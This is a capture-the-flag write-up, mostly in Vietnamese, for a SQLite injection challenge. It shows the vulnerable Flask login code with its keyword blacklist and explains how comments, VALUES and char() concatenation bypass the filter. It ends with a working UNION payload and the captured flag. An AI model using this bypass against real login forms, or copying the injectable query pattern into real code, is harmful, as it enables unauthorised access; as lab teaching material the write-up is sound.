Write-up Baby SQLite With Filter
Challenge Information
Challenge Name: Cookie Arena Baby SQLite With Filter
Challenge URL: http://103.97.125.56:30224/
Challenge Description: You cannot create the query because we have blocked the following keywords. Challenge you to bypass it, how to know after each SQL Keyword you will be used what SQL statement. The blacklist sqli_filter = '[', ']', ',', 'admin', 'select', ''', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' '
.
The vulnerable parameter is 'level'
in the Login function.
Tools Used:
- Burp Suite Community Edition
Exploitation Steps
Mở Burp Suite lên và quan sát trang web.
Tôi nhận thấy giao diện đăng nhập của trang web đơn giản, với hai ô nhập liệu và một nút "Submit".
Bắt đầu kiểm tra các chức năng và khai thác điểm yếu từ form đăng nhập.
Sau khi tôi nhập "test" vào cả hai ô và nhấn "Submit", trang web trả về thông báo "Good!". Điều này cho thấy quá trình đăng nhập đã diễn ra thành công.
Tôi quan sát thấy từ Burp Suite, yêu cầu được gửi đến endpoint /login
với phương thức POST. Các tham số bao gồm:
uid=test
upw=test
Phản hồi của máy chủ là trạng thái HTTP 200 OK và trả về nội dung "Good!". Điều này cho thấy quá trình đăng nhập đã diễn ra thành công với giá trị uid
và upw
bằng "test".
Bây giờ tôi sẽ tiếp tục thử nghiệm bằng cách thay đổi giá trị của các tham số uid
và upw
với các payload tấn công SQL Injection để xem có thể khai thác được không.
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3
app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack
DATABASE = 'users.db'
def get_db():
top = _app_ctx_stack.top
if not hasattr(top, 'sqlite_db'):
top.sqlite_db = sqlite3.connect(DATABASE)
return top.sqlite_db
FLAG = open('/flag.txt', 'r').read()
@app.route('/')
def index():
return render_template('index.jinja2')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.jinja2')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except Exception as e:
print(e)
return 'Error!'
return 'Good!'
@app.teardown_appcontext
def close_connection(exception):
top = _app_ctx_stack.top
if hasattr(top, 'sqlite_db'):
top.sqlite_db.close()
if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()
app.run(host='0.0.0.0', port=1337)
Chúng ta có thể nhận thấy rằng để lấy được flag, cần phải có uid
là 'admin'. Tuy nhiên, vấn đề là trong cơ sở dữ liệu không có user nào với uid = admin
, và thêm vào đó là bộ lọc rất nghiêm ngặt. Do đó, tôi nghĩ rằng có thể thử khiến chương trình chỉ hiển thị một bảng duy nhất với cột uid = admin
.
Trong tình huống này, vì hệ thống đã lọc từ khóa SELECT
, chúng ta không thể sử dụng cú pháp thông thường để thực hiện truy vấn. Tuy nhiên, dựa trên tài liệu của SQLite, chúng ta có thể tìm cách thay thế và sử dụng mệnh đề VALUES
để bắt đầu truy vấn.
Vì từ khoá "admin" bị chặn bởi bộ lọc, chúng ta có thể dùng hàm char()
trong SQLite để chuyển đổi từng ký tự thành mã ASCII tương ứng. Sau đó, sử dụng toán tử nối chuỗi ||
để ghép các ký tự lại với nhau, tạo thành chuỗi "admin". Đồng thời, chúng ta có thể dùng các chú thích dạng /**/
để thay cho khoảng trắng, giúp vượt qua giới hạn của bộ lọc. Cách này cho phép tạo truy vấn SQL mà không bị các bộ lọc thông thường phát hiện.
Payload:
&level=0/**/UNION/**/VALUES/**/(char(97)||char(100)||char(109)||char(105)||char(110))
Và tôi đã tìm thấy flag.
CHH{uS1nG_5yN7@x_d149raM_65536e675c1ebf05287a3c778d2941de}
Subscribe to my newsletter
Read articles from Trần Minh Huy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by